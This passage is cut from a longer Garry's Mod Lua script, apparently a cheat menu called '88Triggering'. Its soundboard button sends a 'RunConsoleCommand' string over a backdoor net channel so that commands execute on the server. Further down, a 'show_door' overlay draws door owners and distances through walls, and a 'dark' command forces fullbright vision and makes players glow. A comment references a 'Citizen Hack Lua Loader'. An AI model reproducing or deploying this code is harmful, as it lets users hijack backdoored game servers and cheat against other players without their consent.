9904
9905
9906
9907
9908
9909/*===================================
9910|===== 88Triggering SOUNDBOARD =====|
9911===================================*/
9912
9913
9914local soundboardpanel = vgui.Create( "DScrollPanel", sdbbd )
9915soundboardpanel:Dock( FILL )
9916soundboardpanel:InnerWidth(100)
9917local sbar = soundboardpanel:GetVBar()
9918function soundboardpanel:Paint( w, h )
9919 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
9920end
9921function sbar:Paint( w, h )
9922 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
9923end
9924function sbar.btnUp:Paint( w, h )
9925 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9926end
9927function sbar.btnDown:Paint( w, h )
9928 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9929end
9930function sbar.btnGrip:Paint( w, h )
9931 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9932end
9933
9934function AddSB(id, text, desc, func)
9935local sbbd = vgui.Create( "DButton", soundboardpanel )
9936sbbd:SetText( text )
9937sbbd:SetTextColor( Color( 200, 200, 200, 220 ) )
9938sbbd:SetFont("Roboto")
9939sbbd:Dock( TOP )
9940sbbd:DockMargin( 10, 45, 40, -37 )
9941sbbd:DockPadding( 2, 30, 20, 10 )
9942sbbd.DoClick = func
9943if desc then
9944sbbd:SetToolTip( desc )
9945end
9946sbbd.Paint = function( self, w, h )
9947sbbd.OnCursorEntered = function(self)
9948-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9949surface.PlaySound( "buttons/button15.wav" )
9950end
9951if sbbd:IsHovered() then
9952-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9953draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9954else
9955draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9956end
9957surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9958surface.DrawOutlinedRect( 0, 0, w, h )
9959end
9960end
9961
9962AddSB( "1","Stop Soundboard", "Stop directement un soundboard", function()
9963surface.PlaySound("buttons/lever3.wav")
9964net.Start(""..triggeringbd.."")
9965net.WriteString("RunConsoleCommand \"stopsound\"")
9966net.WriteBit(1)
9967net.SendToServer()
9968end )
9969
9970end)
9971
9972
9973
9974
9975/*====================================
9976|===== 88Triggering AUTRES TRUCS =====|
9977=====================================*/
9978
9979
9980
9981
9982
9983
9984concommand.Add("show_door", function()
9985
9986hook.Add("HUDPaint" , "DoorFind" , function ()
9987
9988 for k,v in pairs (ents.GetAll()) do
9989
9990 if IsValid(v) and v:getDoorOwner() then
9991
9992 local pos = v:GetPos():ToScreen()
9993
9994 local distance = math.floor(LocalPlayer():GetPos():Distance(v:GetPos()) / 25)
9995
9996 draw.DrawText(distance.."m", "ChatFont", pos.x, pos.y - 10,Color(255, 255, 255, 255),1)
9997
9998 draw.DrawText("Propriétaire - "..v:getDoorOwner():Nick(), "TargetIDSmall", pos.x + 1, pos.y - 30,Color(255, 255, 255, 255),1)
9999
10000 surface.SetDrawColor(255,255,255,255)
10001
10002 surface.SetMaterial(Material( "icon16/door.png" ))
10003
10004 surface.DrawTexturedRect(pos.x-10, pos.y-50, 16,16)
10005
10006 end
10007
10008 end
10009
10010end)
10011
10012end)
10013
10014concommand.Add("hide_door", function()
10015hook.Remove("HUDPaint" , "DoorFind")
10016end)
10017
10018local On = false
10019 local Glow
10020 function Night( on )
10021
10022 function think()
10023 for k,v in pairs(ents.GetAll()) do
10024 local sep = string.Explode("_",v:GetClass())
10025 if sep[1] == "npc" or v:GetClass() == "player" then
10026 if Glow then
10027 v:SetMaterial("models/weapons/v_slam/new light1") end
10028 end
10029 if (sep[1] == "npc" or v:GetClass() == "player") and !on then
10030 v:SetMaterial("") end
10031 end
10032 end
10033 hook.Add("Think","ehyuj",think)
10034 local mul
10035 if on then mul = 1 On = true else mul = 0 On = false end
10036 if on then
10037 surface.PlaySound( "items/nvg_on.wav" ) else
10038 surface.PlaySound( "items/nvg_off.wav" ) end
10039
10040 local function ArghItBurns()
10041 DrawBloom( 0, 1, 1, 0, 0, 1, .5*mul, 2.5*mul, .5*mul )
10042 end
10043 hook.Add( "RenderScreenspaceEffects", "NoMoreEyesForYou!", ArghItBurns )
10044
10045 local function PUMPPPTEST()
10046
10047 local tab = {}
10048 tab[ "$pp_colour_addr" ] = 0
10049 tab[ "$pp_colour_addg" ] = 0
10050 tab[ "$pp_colour_addb" ] = 0
10051 tab[ "$pp_colour_brightness" ] = -0.5*mul
10052 tab[ "$pp_colour_contrast" ] = 1-.5*mul
10053 tab[ "$pp_colour_colour" ] = 1
10054 tab[ "$pp_colour_mulr" ] = 0
10055 tab[ "$pp_colour_mulg" ] = 0
10056 tab[ "$pp_colour_mulb" ] = 0
10057
10058 DrawColorModify( tab )
10059 end
10060 hook.Add( "RenderScreenspaceEffects", "RenderColorModifyPOO", PUMPPPTEST )
10061 end
10062
10063 function TogNight()
10064 local ply = LocalPlayer()
10065 if On == true then
10066 On = false
10067 ply:ConCommand("mat_fullbright 0")
10068 elseif On == false then
10069 On = true
10070 ply:ConCommand("mat_fullbright 1")
10071 end
10072 Night( On )
10073 end
10074 concommand.Add( "dark", TogNight )